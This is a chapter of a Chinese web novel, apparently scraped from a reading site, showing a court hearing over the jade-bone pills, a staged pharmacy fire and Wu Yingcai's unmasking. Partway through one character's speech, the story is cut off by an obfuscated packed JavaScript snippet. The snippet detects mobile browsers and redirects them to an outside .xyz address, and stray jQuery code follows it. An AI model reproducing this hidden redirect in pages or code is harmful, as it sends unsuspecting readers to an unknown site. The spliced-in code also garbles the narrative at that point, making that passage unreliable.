105.玉容之丸惹大祸(下)

“她真这么说?”


“是,没规没矩,满脸无辜地说些难听的话,明摆着是不想见您。”


说这话时,元柳无甚情绪,心道那小姑娘此般,说不定正讨夫人欢心。


果然,李寒玉极感兴趣地笑起来,饶有兴味道:“怕是见到你,她便知晓我身份了。难怪我儿倾心于她,不仅聪明,还有主意。”


她坐在公堂后方,有帘遮挡,百姓嘈杂,因此纵然说话也不会有人发觉,她却能清晰看见底下人的一举一动。


瞧着某处,李寒玉微抬下巴,呵笑一声:“我就说了,能见到他,来得倒还真快。”


“云洇,具体出什么事了?”


唐季扬刚至李府,就被在街上看见向弥被抓捕的唐明带了过来。


眼尖地看见云洇,他立刻将唐明抛到后头,与她挨到了一块。


云洇退开了些,猜测太尉夫人或许正在某处看着他们,颇觉不自在:“别靠我太近,你母亲也在。”


突如其来的冷落,唐季扬本来不明所以,一听母亲也在,心突地一跳,下意识也退了一步,旋即又紧紧挨住她,将人藏在衣袖下的手寻出来,紧紧牵住了。


他小声说:“又不是见不得人的关系,有什么需要避嫌的?”


云洇微微撇过脸,没答,只回握住他。


反正提醒过了,他想牵就牵罢。


“没什么大事,不过怀疑向医师随意用药,害得赵窈娘陷入昏迷,再过不久应该便能结束,你先回去吧。”


“你在这,母亲也在这,我回去做什么?既然快结束了,我便陪你。”


两人说话时,不由自主越靠越近,像对交颈的鸳鸯。


李寒玉看在眼里,脸色辨不出喜怒。


云洇说得不错,此案审理的确接近尾声。


对吴英才所谓自己胡乱用药的指控,向弥确承认了在知晓赵窈娘有药瘾的情况下,仍给她服用了玉骨丸,但他却否认致人昏迷,坚持说:“草民离开时,赵窈娘情况分明安稳下来,断不可能昏迷,还请大人允许草民再为赵窈娘把脉,看看究竟是何原因?”


“胡闹!你如今乃嫌犯,还能让你把脉,替自己自证清白不成?”


府尹拍响惊堂木时,郝志云已快从衙役用于拦人的水火棍中挤进来:“大人,大人!由老夫把脉,由老夫把脉,这样总行了!”


“郝大夫,谁人不知向弥是您老徒弟?本官虽信任您,但也怕传出您包庇徒儿的风言风语不是?”


府尹一口一个“您”,一口一个信任,却一派公事公办的口吻,丝毫不是尊重人的态度。


郝志云脸颊的肌肉抽动几下,还想开口,已被衙役噤言。


见他一副毫无办法的模样,府尹心里暗自得意,终于舒出口郁气。


从前有李氏撑腰,这郝志云得意忘形,敢在他面前作威作福便也罢了,如今风水轮流转,现在有人撑腰的,是他。


微抿口茶,吕府尹眯了眯眼,缓和了语气:“本官已命三位大夫查验过,赵窈娘久久不醒,却与那玉骨丸脱不了关系。念吴英才亦有不听医嘱之过错,向弥,本官判你收监七日,收缴回春堂全部玉骨丸,并承担医治赵窈娘的一切费用,你可有异议?”


收监七日……听着吕益不容一点商量的话语,向弥死心地闭上了眼,知晓是没有周旋的余地了。


一日之间接二连三的事故令他心力交瘁,他试图拎出这一切事端的罪魁祸首,最终怪到了替他算出良辰吉日的那位算命瞎子那。


狗屁的良辰吉日……


向弥心疼自己塞给他的那些银子!


不过也好,反正蝉红也不想嫁他了,出了这事,甚至不用再去找应付宾客的借口。


蝉红,蝉红,蝉红……向弥挺直的脊梁渐渐颓下来,她怎么就,突然不肯嫁他……


“大人,大人……大人!”


师父的声音由远及近,将向弥与苦闷短暂剥离开来,他感动地扭头看去,见师父一脸焦急担忧,真真切切关心着自己,他不免热泪盈眶,至少师父,是念着他的……


“大人,此事全然是向弥所做,与回春堂毫无关系,求您大人有大量,多收监他几日也可,别将玉骨丸全数收缴呐!”


……


向弥平静地擦去几乎要掉出来的泪,对着吕府尹磕头,中气十足地喊:“大人,草民没有异议。另外,回春堂现存玉骨丸十九颗,悉数被藏在第五和第六层药柜的夹层里,您可千万别漏了。”


没回头,他便知师父一双眼已快将自己瞪死。


呵呵,师父啊,这可怪不得我了,是您大义灭亲在先,我做徒儿的,自然需青出于蓝。


况且,他施施然站起身,反正接下来七日他都在牢里,任师父多大火气,也发不到自己身上。


年轻的医师起身,认命地伸出手,要由衙役给他戴上镣铐之时,一店小二装扮的人却慌慌张张从衙门外跑进来,大惊失色:“不好……不好了……回春堂走水了!”


又走水了?云洇纳罕,这虔州曾经是火焰山不成?


紧接着她又听那店小二道:“我看的清清楚楚,蝉红姑娘一进医馆,便将医患全赶了出去,关上门后,紧接着浓烟四起。吴大夫见状,立即冲了进去,嘴里还大喊‘蝉红、蝉红,就算弥儿出了事,你也千万别想不开呐!’”


蝉红姐姐,要自焚?!


云洇几乎站不住,第一时间跑了出去,其余看热闹的人既惊又急,也匆匆赶去救火。


见手下的人面面相觑,一个也不动,吕益急得像热锅上的蚂蚁:“蠢货,你们也不快去去救火!”


若是玉骨丸损毁了怎么办!


“大人,我也去,我也要去!”


听到此般噩耗,向弥几乎要昏厥过去,见吕益已着急离开,自己的乞求不被理睬,又看大堂内除了吴庸才和赵窈娘,瞬间没了人,他便也要往外赶去。


“师兄、师兄!”


刚跨过门槛,他便听身后传来道极细微、又极熟悉的声音,向弥难以置信转过头,竟看见本该困在回春堂的蝉红,奇迹般地出现在这。


他喃喃:“你不是、你不是要……”


“我不是什么?要自尽?”蝉红咬着唇,眼圈还有些发红:“师兄是想说这话?你放心吧,我对你的情意没有这般深厚。”


……向弥一时没说话,却是在掩盖心里迸发出的狂喜。


情意不深么?那也会为了他与吴庸才撕破脸。


“那你来做什么呢?”


“来治赵窈娘。”


蝉红拿出药箱,示意向弥将试图阻拦的吴英才控制住,自己已拿出银针给赵窈娘施针。


吴英才奋力挣扎:“别碰她!”


“为什么别碰?”蝉红抬眼,想学着云洇,露出冷静又犀利的表情来震慑他,但天生的温和性格却令她睫毛止不住颤抖,暴露了她内心的紧张:“堂兄你不是口口声声说属意她么?如今我想诊治她,你却不肯?”


“我是、我是怕你害她!”


“是怕我害她还是怕你阴谋败露?!”


蝉红难得用这么大的声音说话,随即便紧张地咽了口口水,强迫自己与吴英才对视:“方才


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103726|166437||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


窈娘还在肩舆上时,我便偷偷给她把了脉,分明不是犯了药瘾的脉象,倒像是被投了毒,再耽搁下去,怕是性命难保!”


向弥立即怒斥:“你敢给赵窈娘喂毒药来陷害我?我还道你心爱她,没承想都是虚情假意?!”


“我怎么可能为了陷害你毒死窈娘?!”吴英才像丢了魂,惊慌失措地握住窈娘的手,才发觉异常冰凉,再看她唇,泛着乌青,瞧着已快不行。


他像被雷劈中,泪登时流了下来,不敢相信:“怎么可能,怎么可能……我……我……”


他声音猛地增大:“我给窈娘服下的分明是普通的安眠药!”


语毕,堂外一片哗然,吴英才惊愕转头,发觉赶去回春堂的众人不知何时去而复返,他瞬间涨红了脸,明白是蝉红给自己下的圈套。


“我就说向医师怎会胡乱用药,原是吴庸才陷害。”


“啧啧,要么怎么说是庸才而不是英才呢,也难怪这么多年了,一直只是个混混度日的穷秀才。”


“哎,既然那赵窈娘不过是吃了安眠药才昏迷不醒,为何吕大人却说是向医师的错?他难道还检查不出来么?”


“自然是吴庸才骗人咯,你没看那女子面色已发青了么?定是这吴庸才为自己开脱找的借口!”


众人你一言我一语,将吴英才惊出一身白毛汗。


他下意识往堂上空悬的主座看去,事到如今,已不知如何是好。


吕大人给他的,究竟是安眠药还是毒药?


若是安眠药,那定是吴蝉红耍的诡计,但若他指明,不就是说吕大人故意诬陷向弥么?


但若是毒药,便是自己毒害窈娘,免不了牢狱之灾,甚至还要被判死罪。


自己怎么选,都是死……


眼前一阵眩晕,又见吕大人已黑着脸走进,吴英才腿一软,直接跪于地上。


“吴英才,你竟敢诓骗本官,毒害赵窈娘,乃至诬陷向弥!”


他是逼着自己承认了……


吴英才心如死灰,向弥更是因吕益几乎完全反转的态度气得脸红脖子粗,这狗官倒是见风使舵,合着谁有罪,谁无罪,全是他一句话的事!


向弥正要质问,这厢赵窈娘恰在蝉红的医治下悠悠转醒,乍一看自己身处一个陌生的地方,又有诸多人意味深长地盯着她看。


窈娘一时不知所措,又见一旁的情郎面如死灰,她哭喊:“吴郎,我们这是在哪?”


她想扑进吴英才怀中,寻求些安全感,却被蝉红捉住,轻易不肯放手。


蝉红一脸咄咄逼人,质问:“窈娘,是堂兄毒害你,才让你昏迷不醒的,对不对?”


毒害?她中毒了?就算她中毒了,又怎会是吴郎做的?


赵窈娘脑子一时转不过弯来,她呐呐:“我、我……”


吕府尹又一拍惊堂木,将本就因害怕而说不出话来的赵窈娘吓得一哆嗦。


趁着吕益讲话的间隙,蝉红在窈娘耳边低语一句,后者瞳孔微缩,脑子里一团乱麻,仍未将事情捋清楚。这时吕益已武断道:“事已至此,案件已明朗,吴英才蓄意谋害,行为恶劣,立即投入大牢,领杖六十!”


领杖六十?!那吴郎岂不是要被打死?


赵窈娘眼中溢出晶莹的泪,被府尹的话一刺激,立马惊得趴跪在地上,许久说不出话的嘴也终于张了开来。


“大人、大人,吴郎这样、吴郎这样,会死啊。”


她颤巍巍转头,看一眼蝉红,见她对自己微微点头,终是下定决心,又缓慢开了口:“是、是我自己想要自尽,与吴郎没有关系!”